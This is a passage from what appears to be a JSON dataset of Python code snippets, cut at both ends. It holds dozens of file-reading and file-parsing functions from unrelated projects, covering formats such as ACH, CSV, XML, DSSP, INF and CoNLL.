(item)\\n\\n\\t\\tself.schema = schema\\n\\t\\t# self.data.sort (lastNameCmp)\",\n \"def _parse_ach_file(self, contents):\\n file_length = len(contents)\\n\\n for index in range(0, file_length, self.LINE_LENGTH):\\n line = contents[index:index + self.LINE_LENGTH]\\n\\n if line.startswith('1'):\\n self._read_header(line)\\n elif line.startswith('5'):\\n self._read_batch_header(line)\\n elif line.startswith('6'):\\n self._read_entry_detail(line)\\n elif line.startswith('7'):\\n self._read_addenda_record(line)\\n elif line.startswith('8'):\\n self._read_batch_control_record(line)\\n elif line.startswith('9'):\\n if line == '9' * 94:\\n continue\\n self._read_file_control_record(line)\",\n \"def parse_file(file_path, encoding='utf-8', print_errors=False):\\n with open(file_path, 'r', encoding=encoding) as f:\\n return parse(\\n f.read(),\\n file_name=os.path.basename(file_path),\\n print_errors=print_errors\\n )\",\n \"def parse_file(self, path, filename, return_dict=True):\\n\\n with codecs.open(path, \\\"r\\\", encoding=\\\"iso-8859-1\\\") as f:\\n lines = f.readlines()\\n cleaned = self.clean_data(lines)\\n if return_dict:\\n data = self.create_dict(cleaned)\\n else:\\n data = self.create_list(cleaned)\\n return self.process_file(data, filename)\",\n \"def parseFile(filename):\\n\\n Parse.data = []\\n with open(filename, \\\"r\\\") as f:\\n for line in f:\\n Parse.data += [Parse.__parseLine(line)]\\n return Parse.data\",\n \"def parse_file(\\n self, filename: Path, encoding: Optional[str] = None, debug: bool = False\\n ) -> NL:\\n with open(filename, encoding=encoding) as stream:\\n return self.parse_stream(stream, debug)\",\n \"def _read(self, in_file):\\n in_file.read(18) # pad bytes\\n self.numnod = int(in_file.read(12))\\n in_file.read(37) # pad bytes\\n self.format = int(in_file.read(1))\\n in_file.read(1) # eol\\n self.nodes = []\\n\\n for _ in range(self.numnod):\\n node = FRDNode()\\n self.nodes.append(node)\\n if self.format < 2:\\n in_file.read(1)\\n node.key = int(in_file.read(2))\\n node.number = int(in_file.read(5*(self.format+1)))\\n node.pos = [float(in_file.read(12)) for j in range(3)]\\n in_file.read(1) # eol\\n else:\\n node.number = struct.unpack('i', in_file.read(4))[0]\\n if self.format == 2:\\n node.pos = struct.unpack('fff', in_file.read(12))\\n else:\\n node.pos = struct.unpack('ddd', in_file.read(24))\\n\\n if self.format < 2:\\n in_file.readline() # last record for ascii only\",\n \"def parse_file(self, path):\\r\\n return self._parse(antlr3.ANTLRFileStream(path))\",\n \"def read(self, filename):\\n raise NotImplementedError\",\n \"def read(self, inputfile):\\n infile = open(inputfile, 'r')\\n if (inputfile.lower().endswith('.po')):\\n self.read_po(infile)\\n elif (inputfile.lower().endswith('.json')):\\n self.read_json(infile)\\n elif (inputfile.lower().endswith('.xml')):\\n self.read_properties(infile)\\n infile.close()\",\n \"def _parseFileHeader(self):\\n self.fileheader = FileHeader()\\n self.fileheader.parse(self.f)\\n #print('Parsed fileheader')\",\n \"def parseFile(self, file):\\n return_dict = {}\\n with open(file) as f:\\n for line in f:\\n line = line.strip()\\n\\n if line:\\n if line.startswith('Left'):\\n return_dict['Left'] = self.getStats(f)\\n elif line.startswith('Right'):\\n return_dict['Right'] = self.getStats(f)\\n elif line.startswith('Aligned'):\\n return_dict['Aligned'] = self.getStats(f, line)\\n elif line.startswith('Reads'):\\n return_dict['Reads'] = self.getStats(f)\\n else:\\n matched_summary = re.search('([\\\\d|.%]+)', line)\\n return_dict['Overall'] = matched_summary.group(1)\\n\\n #return_dict['Summary'] = re.search('(\\\\d+\\\\.\\\\d+%)', line).group(1)\\n\\n return return_dict\",\n \"def _runParser(self):\\n with open(self.var('filePath')) as f:\\n return json.load(f)\",\n \"def read (self, file):\\n\\t\\tself.unpack (file.read (self.size()))\",\n \"def parse(self, filehandle):\\n l = filehandle.readline()\\n if l.split()[0] != '##maf':\\n return\\n else:\\n self.setpar(l.split()[1:])\\n\\n l=filehandle.readline()\\n while l:\\n la = l.split()\\n## print la\\n if(len(la)==0 or la[0]=='#'):\\n## print \\\"skipping\\\"\\n 1\\n elif(la[0]=='a'):\\n## print \\\"reading alignment\\\"\\n self.readalign(la[1:], filehandle)\\n else:\\n## print \\\"end of records\\\"\\n return\\n\\n l=filehandle.readline()\",\n \"def __parse_file(self):\\n\\n if PY2:\\n text = lambda v: v.decode('utf-8')\\n else:\\n text = lambda v: v\\n with open(self._file, 'r') as csvfile:\\n reader = csv.reader(csvfile, delimiter=';')\\n for row in reader:\\n try:\\n siruta = int(row[0])\\n except ValueError:\\n self.__notify_error(\\\"Line %s has an invalid SIRUTA code\\\" % str(row))\\n continue\\n if not self.siruta_is_valid(siruta):\\n self.__notify_error(\\\"SIRUTA code %d is not valid\\\" % siruta)\\n if len(row) != 15:\\n self.__notify_error(\\\"Line %s does not have 15 elements\\\" % str(row))\\n continue\\n if row[7] == \\\"1\\\":\\n urban = True\\n else:\\n urban = False\\n self._data[siruta] = {\\n 'siruta': siruta,\\n 'name': text(row[1]).translate(self._dia_trans),\\n 'postcode': int(row[2]),\\n 'county': int(row[3]),\\n 'sirutasup': int(row[4]),\\n 'type': int(row[5]),\\n 'level': text(row[6]),\\n 'urban': urban,\\n 'region': int(row[8]),\\n }\",\n \"def read_file(self, filename):\\n with open(filename, 'r') as file:\\n for line in file:\\n l = line.strip()\\n\\n if l == ST_POS0:\\n self._state = ST_POS0\\n elif l == ST_TRNS:\\n self._state = ST_TRNS\\n elif l == ST_POS1:\\n self._state = ST_POS1\\n else:\\n self._parse_line(l)\\n self._state = None\",\n \"def parse_file(self, file_name, **kwargs):\\n with io.open(file_name, 'r', encoding='utf-8') as f:\\n content = f.read()\\n return self.parse(content, file_name=file_name, **kwargs)\",\n \"def ParseFile(self, filepath):\\n self.Logger.debug(\\\"Parsing file: %s\\\" % filepath)\\n if (not os.path.isabs(filepath)):\\n fp = self.FindPath(filepath)\\n else:\\n fp = filepath\\n self.Path = fp\\n f = open(fp, \\\"r\\\")\\n self.Lines = f.readlines()\\n f.close()\\n InDefinesSection = False\\n InPackagesSection = False\\n InLibraryClassSection = False\\n InProtocolsSection = False\\n InGuidsSection = False\\n InPpiSection = False\\n InPcdSection = False\\n InSourcesSection = False\\n InBinariesSection = False\\n\\n for line in self.Lines:\\n sline = self.StripComment(line)\\n\\n if (sline is None or len(sline) < 1):\\n continue\\n\\n if InDefinesSection:\\n if sline.strip()[0] == '[':\\n InDefinesSection = False\\n else:\\n if sline.count(\\\"=\\\") == 1:\\n tokens = sline.split('=', 1)\\n self.Dict[tokens[0].strip()] = tokens[1].strip()\\n #\\n # Parse Library class and phases in special manor\\n #\\n if (tokens[0].strip().lower() == \\\"library_class\\\"):\\n self.LibraryClass = tokens[1].partition(\\\"|\\\")[0].strip()\\n self.Logger.debug(\\\"Library class found\\\")\\n if (len(tokens[1].partition(\\\"|\\\")[2].strip()) < 1):\\n self.SupportedPhases = AllPhases\\n elif (tokens[1].partition(\\\"|\\\")[2].strip().lower() == \\\"base\\\"):\\n self.SupportedPhases = AllPhases\\n else:\\n self.SupportedPhases = tokens[1].partition(\\\"|\\\")[2].strip().split()\\n\\n self.Logger.debug(\\\"Key,values found: %s = %s\\\" % (tokens[0].strip(), tokens[1].strip()))\\n\\n continue\\n\\n elif InPackagesSection:\\n if sline.strip()[0] == '[':\\n InPackagesSection = False\\n else:\\n self.PackagesUsed.append(sline.partition(\\\"|\\\")[0].strip())\\n continue\\n\\n elif InLibraryClassSection:\\n if sline.strip()[0] == '[':\\n InLibraryClassSection = False\\n else:\\n self.LibrariesUsed.append(sline.partition(\\\"|\\\")[0].strip())\\n continue\\n\\n elif InProtocolsSection:\\n if sline.strip()[0] == '[':\\n InProtocolsSection = False\\n else:\\n self.ProtocolsUsed.append(sline.partition(\\\"|\\\")[0].strip())\\n continue\\n\\n elif InGuidsSection:\\n if sline.strip()[0] == '[':\\n InGuidsSection = False\\n else:\\n self.GuidsUsed.append(sline.partition(\\\"|\\\")[0].strip())\\n continue\\n\\n elif InPcdSection:\\n if sline.strip()[0] == '[':\\n InPcdSection = False\\n else:\\n self.PcdsUsed.append(sline.partition(\\\"|\\\")[0].strip())\\n continue\\n\\n elif InPpiSection:\\n if sline.strip()[0] == '[':\\n InPpiSection = False\\n else:\\n self.PpisUsed.append(sline.partition(\\\"|\\\")[0].strip())\\n continue\\n\\n elif InSourcesSection:\\n if sline.strip()[0] == '[':\\n InSourcesSection = False\\n else:\\n self.Sources.append(sline.partition(\\\"|\\\")[0].strip())\\n continue\\n\\n elif InBinariesSection:\\n if sline.strip()[0] == '[':\\n InBinariesSection = False\\n else:\\n self.Binaries.append(sline.partition(\\\"|\\\")[0].strip())\\n continue\\n\\n # check for different sections\\n if sline.strip().lower().startswith('[defines'):\\n InDefinesSection = True\\n\\n elif sline.strip().lower().startswith('[packages'):\\n InPackagesSection = True\\n\\n elif sline.strip().lower().startswith('[libraryclasses'):\\n InLibraryClassSection = True\\n\\n elif sline.strip().lower().startswith('[protocols'):\\n InProtocolsSection = True\\n\\n elif sline.strip().lower().startswith('[ppis'):\\n InPpiSection = True\\n\\n elif sline.strip().lower().startswith('[guids'):\\n InGuidsSection = True\\n\\n elif sline.strip().lower().startswith('[pcd') or \\\\\\n sline.strip().lower().startswith('[patchpcd') or \\\\\\n sline.strip().lower().startswith('[fixedpcd') or \\\\\\n sline.strip().lower().startswith('[featurepcd'):\\n InPcdSection = True\\n\\n elif sline.strip().lower().startswith('[sources'):\\n InSourcesSection = True\\n\\n elif sline.strip().lower().startswith('[binaries'):\\n InBinariesSection = True\\n\\n # Create scoped_library_dict\\n current_section = \\\"\\\"\\n arch = \\\"\\\"\\n\\n for line in self.Lines:\\n match = self.SECTION_REGEX.match(line)\\n\\n if line.strip() == \\\"\\\":\\n continue\\n\\n if line.strip().startswith(\\\"#\\\"):\\n continue\\n\\n # Match the current section we are in\\n if match:\\n section = match.group(1)\\n section = section.lower()\\n\\n # A Library section\\n if section.startswith(self.SECTION_LIBRARY):\\n if section.count(\\\".\\\") == 1:\\n current_section, arch = tuple(section.split(\\\".\\\"))\\n else:\\n current_section, arch = (section, \\\"common\\\")\\n # Some other section\\n else:\\n current_section = \\\"\\\"\\n arch = \\\"\\\"\\n continue\\n\\n # Handle lines when we are in a library section\\n if current_section == self.SECTION_LIBRARY:\\n if arch in self.ScopedLibraryDict:\\n self.ScopedLibraryDict[arch].append(line.split()[0].strip())\\n else:\\n self.ScopedLibraryDict[arch] = [line.split()[0].strip()]\\n self.Parsed = True\",\n \"def fileparse(filename, node):\\n\\n fd = open(filename)\\n line = fd.readline().strip('\\\\r\\\\n')\\n\\n while line != '':\\n node.Add(line, node)\\n line = fd.readline().strip('\\\\r\\\\n')\",\n \"def read_parse_raw_data(path):\\n file_list = TopologyHelper.get_file_list(path)\\n print(\\\"Reading \\\" + str(len(file_list)) + \\\" files from \\\" + path)\\n topology_info = []\\n file_name = []\\n for file in file_list:\\n try:\\n r = TopologyHelper.parse_file(file)\\n tmp = (r[0])['Topology']\\n topology_info.append(tmp)\\n t = r[1]\\n file_name.append(t)\\n except:\\n continue\\n print(\\\"Parsing completed\\\")\\n return file_name, topology_info\",\n \"def read(path):\",\n \"def parse(self):\\n try:\\n self.open_file()\\n lines = list(self._file)\\n\\n if len(lines) > 0:\\n text = ''.join(lines)\\n regex = 'Song \\\\d+\\\\nStart (\\\\d+:\\\\d+:\\\\d+)\\\\nEnd (\\\\d+:\\\\d+:\\\\d+)\\\\nLength (\\\\d+.\\\\d+)'\\n match = re.findall(regex, text)\\n if len(match):\\n starts = []\\n ends = []\\n lengths = []\\n\\n for i in range(len(match)):\\n starts.append(match[i][0])\\n ends.append(match[i][1])\\n lengths.append(float(match[i][2]))\\n\\n for i in range(len(match)):\\n self.debug_data.append({\\n 'start':starts[i],'end':ends[i],'length':lengths[i]})\\n\\n match = re.search('T\\\\d_S(\\\\d{4})_.*.txt', self._filepath)\\n if match:\\n self._experiment_metadata['session_id'] = int(match.groups()[0])\\n else:\\n raise EIMParsingError(\\\"No valid session id found in filename %s\\\" % self._filepath)\\n\\n finally:\\n if self._file and not self._file.closed:\\n self.close_file()\",\n \"def parse_file(self, file_name, **kwargs):\\n with codecs.open(file_name, 'r', 'utf-8') as f:\\n content = f.read()\\n return self.parse(content, file_name=file_name, **kwargs)\",\n \"def parse_file(self, file):\\n with file:\\n return self.parse_string(read_script_file(file))\",\n \"def _read_input_file(self):\\n pass\",\n \"def readFile(file):\\n with open(file) as inFile:\\n return(csv_parser(inFile))\",\n \"def parse_file(self, file_or_filename, parse_all=False):\\n try:\\n file_contents = file_or_filename.read()\\n except AttributeError:\\n with open(file_or_filename, \\\"r\\\") as f:\\n file_contents = f.read()\\n return self.parse_string(file_contents, parse_all)\",\n \"def _read(self, file_path: str) -> Iterator[Instance]:\\n with open(file_path) as f:\\n for line in f:\\n pairs = line.split()\\n words, tags = zip(*(pair.split(\\\"###\\\") for pair in pairs))\\n yield self.text_to_instance([Token(word) for word in words], tags)\",\n \"def readFromFile(filename):\\n raise NotImplementedError\",\n \"def parse_file(self):\\n for num, line in enumerate(self._text):\\n if \\\"CRYSTAL STRUCTURE SOLUTION\\\" in line:\\n line = line.strip().strip('+').strip()\\n if 'SHELXTL' in line:\\n self.version = 'SHELXT ' + line.split()[-1]\\n if line.strip().startswith('R1 Rweak Alpha'):\\n for n in range(100):\\n if not self._text[num + 1 + n]:\\n break\\n if self._text[num + 1]:\\n self.solutions[self._text[num + 1 + n][58:76].strip()] = self._text[num + 1 + n][37:51].strip()\",\n \"def read():\\n try:\\n #Open and parse input files.\\n nodeFile = open(sys.argv[1], 'r')\\n edgeFile = open(sys.argv[2], 'r')\\n\\t\\n parse_nodes(nodeFile)\\n parse_edges(edgeFile)\\n nodeFile.close()\\n\\tedgeFile.close()\\n\\treturn \\n except:\\n print 'problem parsing input'\\n #Put here some more information - usage...\",\n \"def parse(self):\\n print_DBG(\\\"Parsing master file: \\\"+self.tokenizer.get_file_information()[0])\\n for token_line in self.tokenizer.next_tokenized_line():\\n if not token_line[0].isspace():\\n if token_line[0] == pu.INCLUDE_FILE_SYM:\\n self.tokenizer.open_file(token_line[1])\\n print_DBG(\\\"Parsing file: \\\"+self.tokenizer.get_file_information()[0])\\n self.stats[\\\"#files\\\"] += 1\\n else:\\n self._parse_declaration_initiator(token_line)\\n self._expecting_rule = True\\n self.stats[\\\"#declarations\\\"] += 1\\n self._expected_indentation = None\\n else:\\n self._parse_rule(token_line)\\n self._expecting_rule = False # Not expecting but still allowed\\n self.stats[\\\"#rules\\\"] += 1\\n self.tokenizer.close_files()\\n print_DBG(\\\"Parsing finished!\\\")\",\n \"def read(self, filename): # real signature unknown; restored from __doc__\\n pass\",\n \"def parse_file(self, fpath):\\n sdir = os.path.abspath(os.path.join(os.path.dirname(salt.__file__), os.pardir))\\n with open(os.path.join(sdir, fpath), \\\"rb\\\") as f:\\n return f.readlines()\",\n \"def parse_file(self):\\n # the header was already read in the init, start at the first sample line\\n\\n for line in self._stream_handle:\\n\\n # create the dictionary of key/value pairs composed of the labels and the values from the\\n # record being parsed\\n # ex: data_dict = {'sci_bsipar_temp':10.67, n1, n2, nn}\\n data_dict = self._read_data(line)\\n\\n if GliderParser._has_science_data(data_dict, self._particle_class):\\n # create the timestamp\\n timestamp = ntplib.system_to_ntp_time(float(data_dict[GliderParticleKey.M_PRESENT_TIME]))\\n # create the particle\\n self._record_buffer.append(self._extract_sample(\\n self._particle_class, None, data_dict, internal_timestamp=timestamp))\",\n \"def parse_from_file (path):\\n with open(path) as f:\\n return NFFG.parse(f.read())\",\n \"def _read(self, file_name):\\n f = open(file_name)\\n lines = f.readlines()\\n begin = 0\\n end = 0\\n while end < len(lines):\\n op = ''\\n for l in lines[begin:]:\\n end += 1\\n op = l.split()[0]\\n if op in operations:\\n self.operations.append(op)\\n break\\n if op == '=push':\\n nfa = Automaton(lines[begin:end - 1])\\n self.aut_to_push.append(nfa)\\n begin = end\\n f.close()\",\n \"def __loadFromFile(self):\\n try:\\n f=open(self.__fileR, \\\"r\\\")\\n line =f.readline().strip()\\n rez=[]\\n while line!=\\\"\\\":\\n attrs=line.split(\\\",\\\")\\n rt=Rent(attrs[0], attrs[1], attrs[2], attrs[3])\\n rez.append(rt)\\n line=f.readline().strip()\\n f.close()\\n return rez\\n #the file cannot be reached\\n except IOError:\\n return None\",\n \"def input_file_parser(cls):\\n \\n # Loop through the file and store lines in an appropriate list that is passed to other class functions\\n with open(cls.infile_name,'r') as infile:\\n for line in infile: # Loop through the whole file\\n if '$molecule' in line: # Search for a section header\\n for line in infile: # Enter second loop over the lines in the section\\n if '$end' in line: # If you find $end, stop loop as the section is finished\\n break\\n else: # Otherwise add the line to a list\\n cls.molecule_lines.append(line.strip())\\n if '$connection' in line: # Continue for other sections...\\n for line in infile:\\n if '$end' in line:\\n break\\n else:\\n cls.connector_lines.append(line.strip())\\n if '$options' in line: # Continue for other sections...\\n for line in infile:\\n if '$end' in line:\\n break\\n else:\\n cls.options_lines.append(line.strip())\\n\\n return None\",\n \"def parse(self):\\n\\n\\t\\t# Open and parse the file\\n\\t\\twith open(self.name, 'r') as fdi:\\n\\t\\t\\tfor line in fdi:\\n\\t\\t\\t\\twords = [word for word in line.split(' ') if word != ' ' and word != ':']\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t# Store the data in the hash\\n\\t\\t\\t\\tself.data_hash[int(words[0], 16)] = int(words[1])\\n\\n\\t\\t# Sort the dictionary by addresses\\n\\t\\tself.data_hash = od(sorted(self.data_hash.items(), key = lambda t : t[0]))\\n\\n\\t\\tprint 'Total Bytes :', float(sum(self.data_hash.values())) / 1024 / 1024\\n\\n\\t\\treturn\",\n \"def read_file(self):\\n # This is quite ugly but works for now.\\n self.header = read_csv(self.file_name, delim_whitespace=True,\\n header=TrackData.header_line,\\n nrows=1).to_dict(orient='index')[0]\\n self.data = read_csv(self.file_name, delim_whitespace=True, \\n header=TrackData.data_line)\",\n \"def _read_file(self, current_path):\\n # type: (str)->None\\n\\n if current_path in self._parsed_files:\\n return\\n self._parsed_files.add(current_path)\\n\\n with open(current_path, \\\"r\\\") as interfaces:\\n # When the first non-comment line is parsed, header\\n # comments have been read in.\\n header_parsed = False\\n # Loop through the interfaces file.\\n for line in interfaces:\\n # 1. Identify the clauses by analyzing the first\\n # word of each line.\\n # 2. Go to the next line if the current line is a comment.\\n # line = line.strip().replace(\\\"\\\\n\\\", \\\"\\\")\\n if not line:\\n pass\\n elif line.strip().startswith(\\\"#\\\") is True:\\n if not header_parsed:\\n self._header_comments += line\\n else:\\n # Header comments can no longer\\n # be parsed in when the first interfaces\\n # line is parsed in.\\n header_parsed = True\\n self._parse_iface(line, current_path)\\n # Ignore blank lines.\\n if not line.isspace():\\n self._parse_details(line)\\n self._read_auto(line)\\n self._read_hotplug(line)\\n\\n # Is there some file to source ?\\n source_path = self._read_sourced_path(line)\\n if source_path:\\n self._read_files(source_path)\\n\\n # TODO: lots of directives are completly ignored\\n # and would be deleted\",\n \"def parser_file(self, raw_file):\\n try:\\n with io.open(raw_file, 'r') as fd:\\n #u_print(\\\" Processor.parser_file() - Streaming file {}\\\".format(raw_file))\\n return self.parse_stream(fd)\\n\\n except IOError as e:\\n u_print(\\\" ERROR I/O ({0}): {1}\\\".format(e.errno, e.strerror))\\n return False\\n\\n except Exception as e:\\n u_print(\\\" Unexpected error: \\\".format(e))\\n raise\",\n \"def __parse(self):\\n lines = self.file.readlines()\\n for i in range(0, len(lines)):\\n line = lines[i]\\n tokens = line.split()\\n if tokens[0] == \\\"#start\\\":\\n trial_name = tokens[1]\\n trial = Trial(trial_name)\\n self.trials[trial_name] = trial\\n elif tokens[0] == \\\"#end\\\":\\n continue\\n else:\\n date_str = tokens[0] + \\\" \\\" + tokens[1]\\n date = datetime.strptime(date_str, \\\"%m/%d/%y %H:%M:%S\\\")\\n sound_file = line[18:-1].strip()\\n event = Event(date, sound_file, 0)\\n trial.addevent(event)\",\n \"def file_parse():\\n\\n\\tfilename = input(\\\"Enter the file path for your graph: \\\")\\n\\ttarget = open(filename, 'r')\\n\\n\\ttarget_lines = [] \\t# List of lines from target file\\n\\t\\n\\t# Grab the graph count and node/edge count for the first graph\\n\\ti = 0\\n\\tfor line in target:\\n\\t\\tif i == 0:\\n\\t\\t\\tgraph_count = int(line)\\n\\t\\telif i == 1:\\n\\t\\t\\tnode_count = int(line)\\n\\t\\telif i == 2:\\n\\t\\t\\tedge_count = int(line)\\n\\t\\telse:\\t\\n\\t\\t\\ttarget_lines.append(line.strip('\\\\n'))\\n\\t\\ti += 1\\n\\n\\treturn graph_create(target_lines, graph_count, node_count, edge_count)\",\n \"def __read(self, filename):\\n f = open(filename)\\n\\n self.startDate = self.__parseDate(f.readline())\\n (nRows, nCols) = [int(s) for s in f.readline().split() ]\\n\\n dataArray = self.__readData(f, nRows, nCols)\\n self.__storeDataDict(dataArray)\\n self.__appendMetaData(filename)\\n self._appendDerivedQuantities()\",\n \"def parse_file(self, filename):\\n \\n # create DOM tree\\n try:\\n file_object = self.auto_open(filename)\\n except IOError as e:\\n self.my_print('Error opening file ' + filename + str(e), msg_types.ERROR)\\n raise\\n \\n try:\\n self.begin('building DOM tree from file ' + filename)\\n dom = ET.XML(file_object.read())\\n self.end()\\n file_object.close()\\n\\n except SyntaxError as e:\\n self.my_print(\\\"XML parsing error: \\\" + str(e), msg_types.ERROR)\\n raise\\n \\n # create lexical resource\\n try:\\n self.begin('Extracting data from DOM of file ' + filename)\\n lr = lexical_resource.LexicalResource(dom)\\n self.end()\\n return lr\\n except FatalError as e:\\n self.my_print(str(e), msg_types.ERROR)\\n self.my_print('Processing stopped. Please fix the previous error(s) and try it again', msg_types.ERROR)\\n raise\",\n \"def __parse(self):\\n # raw/objects: detect name, type, use major tag for type as parent node\\n # raw/graphics: as object raw, but add TILE_PAGE\\n # init: usually flat file, except\\n # embark_profiles.txt: [PROFILE] is parent\\n # interface.txt: [BIND] is parent (legacy will be flat)\\n # world_gen.txt: [WORLD_GEN] is parent\\n # Non-raw files (unsupported): init/arena.txt, subdirs of raw/objects\\n parse_raw(self, self.read(self.filename))\",\n \"def __parse(self):\\n lines = self.file.readlines()\\n name_idx = 2\\n name_idx_found = False\\n pathre = re.compile(r\\\"^[A-Z]:[\\\\\\\\/]\\\\w+\\\")\\n for i in range(0, len(lines)):\\n line = lines[i]\\n if line.strip() != \\\"\\\": # check if line isn't empty\\n if pathre.match(line):\\n self.path = line.strip()\\n continue\\n tokens = line.split()\\n time_str = tokens[0] + \\\" \\\" + tokens[1]\\n try:\\n time = datetime.strptime(time_str, \\\"%m/%d/%y %H:%M:%S\\\")\\n except ValueError:\\n raise LogParseError('Invalid log format. Date must be first \\\\\\n token for each log event.') \\n if not name_idx_found:\\n name_idx = tokens.index('Monitoring')\\n name_idx_found = True\\n name = \\\"\\\"\\n if tokens[name_idx].strip() == 'Monitoring':\\n name = tokens[name_idx].lower() + \\\" \\\" + tokens[name_idx + 1].lower()\\n duration = 0.0\\n else:\\n name = tokens[name_idx].lower()\\n duration = tokens[name_idx + 1]\\n self.events[name] = Event(time, name, duration)\\n self.start = self.events['monitoring started']\\n self.end = self.events['monitoring stopped']\",\n \"def parse(self):\\n count = [] #count for trainset_size\\n with open(self.file) as f:\\n for line in f:\\n data = line.split(\\\" \\\")[0]\\n filename = data[:-1]\\n id = data[-1:]\\n if (filename not in count):\\n count.append(filename)\\n\\n acid = \\\"\\\"\\n structure = \\\"\\\"\\n with open(self.directory+\\\"/\\\"+filename+\\\".dssp\\\") as dssp:\\n for i in range(28): #skip lines we don't need\\n next(dssp)\\n for line in dssp:\\n if (line[9] != \\\" \\\" and line[10] == \\\" \\\" and line[11] == id and line[13] not in (\\\"*\\\",\\\"!\\\",\\\"B\\\",\\\"Z\\\",\\\"X\\\")):\\n #amino acid sequence\\n if (line[13].islower()):\\n acid += \\\"C\\\"\\n else:\\n acid += line[13]\\n\\n #sequence of the structure\\n if (line[16] in (\\\"H\\\",\\\"G\\\",\\\"I\\\")):\\n structure += \\\"H\\\"\\n elif (line[16] in (\\\"E\\\",\\\"B\\\")):\\n structure += \\\"E\\\"\\n else:\\n structure += \\\"C\\\"\\n\\n if (len(count) > self.trainset_size):\\n self.testset.append((acid,structure))\\n else:\\n self.trainset.append((acid,structure))\",\n \"def __read_file(self, filename):\\n with open(filename) as f:\\n content = f.readlines()\\n \\n return content\",\n \"def parse_source_file(self, filepath):\\n raise NotImplementedError('Not Implemented')\",\n \"def parse_file(file_name, out):\\n try:\\n with open(file_name) as f:\\n parse_string(f.read(), out)\\n except Exception as e:\\n logging.error(\\\"Error when opening and parsing file %s: %s\\\" % (file_name, e))\\n print(\\\"Error occurred when parsing file. See logs for more details.\\\",file=sys.stderr)\",\n \"def parse_file(self):\\n # read the first line in the file\\n line = self._stream_handle.readline()\\n\\n while line:\\n # check for a data line or a dcl logger line we specifically ignore\\n data_match = DATA_LINE_MATCHER.match(line)\\n ignore_match = IGNORE_LINE_MATCHER.match(line)\\n\\n if data_match:\\n # found a data line, extract this particle\\n # DCL controller timestamp is the port_timestamp\\n dcl_controller_timestamp = data_match.groups()[DCL_TIMESTAMP_GROUP]\\n port_timestamp = dcl_time_to_ntp(dcl_controller_timestamp)\\n\\n particle = self._extract_sample(self.particle_class,\\n None,\\n data_match,\\n port_timestamp=port_timestamp,\\n preferred_ts=DataParticleKey.PORT_TIMESTAMP)\\n\\n self._record_buffer.append(particle)\\n\\n elif not ignore_match:\\n # we found a line with an unknown format, call an exception\\n error_message = 'Found line with unknown format %s' % line\\n log.warn(error_message)\\n self._exception_callback(SampleException(error_message))\\n\\n # read the next line\\n line = self._stream_handle.readline()\",\n \"def __parse(self):\\n\\t\\tparser=xml.sax.make_parser()\\n\\t\\tparser.setContentHandler(OSMXMLFileParser(self))\\n\\t\\tparser.parse(self.filename)\\n\\t\\n\\t\\t# convert them back to lists\\n\\t\\tself.nodes = self.nodes.values()\\n\\t\\tself.ways = self.ways.values()\\n\\t\\tself.relations = self.relations.values()\",\n \"def _read(self, file_path: str) -> Iterator[Instance]:\\n with open(cached_path(file_path), \\\"r\\\", encoding=\\\"utf-8\\\") as data_file:\\n for lines in read_conll_file(data_file):\\n fields = [line.rstrip().split(self._delimiter) for line in lines]\\n # unzipping trick returns tuples, but our Fields need lists\\n fields = [list(field) for field in zip(*fields)]\\n tokens, tags = fields\\n yield self.text_to_instance(tokens, tags)\",\n \"def parse(self):\\n\\t\\tself.maincfg_values = self._load_static_file(self.cfg_file)\\n\\t\\t\\n\\t\\tself.cfg_files = self.get_cfg_files()\\n\\t\\t\\n\\t\\tself.resource_values = self.get_resources()\\n\\t\\t\\n\\t\\tself.timestamps = self.get_timestamps()\\n\\t\\t\\n\\t\\t## This loads everything into\\n\\t\\tfor cfg_file in self.cfg_files:\\n\\t\\t\\tself._load_file(cfg_file)\\n\\n\\t\\tself._post_parse()\",\n \"def parse_file(self, file_path):\\n\\t\\troot = ET.parse(file_path).getroot()\\n\\t\\t## parse predictors\\n\\t\\tpredictors = root.find('DataSpecification').find('Predictors')\\n\\t\\tfor predictor in predictors.findall('predictor'):\\n\\t\\t\\tself.predictors.append(predictor.find('name').text)\\n\\t\\t\\tself.predictors_types.append(predictor.find('VariableType').text)\\n\\t\\t## parse method\\n\\t\\tmethod = root.find('Method')\\n\\t\\tvariables = {}\\n\\t\\tfor variable in method[0]:\\n\\t\\t\\ttag = variable.tag\\n\\t\\t\\tvalues = []\\n\\t\\t\\tfor v in variable:\\n\\t\\t\\t\\tvalues.append(float(v.text))\\n\\t\\t\\tvariables[tag] = values\\n\\t\\tself.variables = variables\\n\\t\\tself.method_name = method[0].tag\\n\\t\\t## parse pre-processing\\n\\t\\tpreprocessing = root.find('Preprocessing')\\n\\t\\tpreprocessing_methods = preprocessing.findall('PreprocessMethod')\\n\\t\\tfor preprocessing_method in preprocessing_methods:\\n\\t\\t\\tself.preprocessing_methods.append(preprocessing_method.text)\\n\\t\\tevaluation = root.find('Evaluation')\\n\\t\\tresampling = evaluation.find('Resampling')\\n\\t\\tcv = resampling.find('CrossValidation')\\n\\t\\tself.k = cv[0].text\\n\\t\\tself.metric = evaluation.find('Metric').text\\n\\t\\tself.data_split = evaluation.find(\\\"DataSplit\\\").find('partitionRate').text\\n\\t\\t## parse resampling\\n\\t\\tself.plotting_file_name = root.find('Plotting').find('Plot').find('filename').text\",\n \"def read_parse_file(params):\\n\\tparam_names = []\\n\\tparam_options = []\\n\\tif not os.path.isfile(params.parse_file):\\n\\t\\tprint(\\\"parse file does not exist! ({})\\\".format(params.parse_file))\\n\\t\\tsys.exit(NO_PARSE)\\n\\twith open(params.parse_file, 'r') as pf:\\n\\t\\t# first line should be iteration regex\\n\\t\\tsetattr(params, 'iteration_regex', re.compile(pf.readline().strip()))\\n\\t\\tfor line in pf:\\n\\t\\t\\tparam_desc = line.split(';')\\n\\t\\t\\tparam_names.append(param_desc[0])\\n\\t\\t\\tparam_options.append(param_desc[1])\\n\\n\\treturn param_names,param_options\",\n \"def parse_file(self, f_path=\\\"NULL\\\"):\\n if f_path == \\\"NULL\\\":\\n raise Exception(\\\"ERROR: please specify tandam MS/MS file path\\\")\\n return self._parse_ms_file(f_path)\",\n \"def process_file(filename):\\n print \\\"Reading and Parsing File: {}\\\".format(filename)\\n parsed_entries = file_parser(filename)\\n print \\\"Starting to Process Entries\\\"\\n chunked_entires = chunk_entries(parsed_entries)\\n return [process_entries(entry) for entry in chunked_entires]\",\n \"def __read_data__(self):\\n with open(self.file, 'r') as data:\\n sentence = []\\n tags = []\\n for line in data:\\n terms = line.rstrip().split(WHITESPACE)\\n for term in terms:\\n word_tag = tuple(term.split(TAGCHAR))\\n word = word_tag[0]\\n tag = word_tag[1]\\n 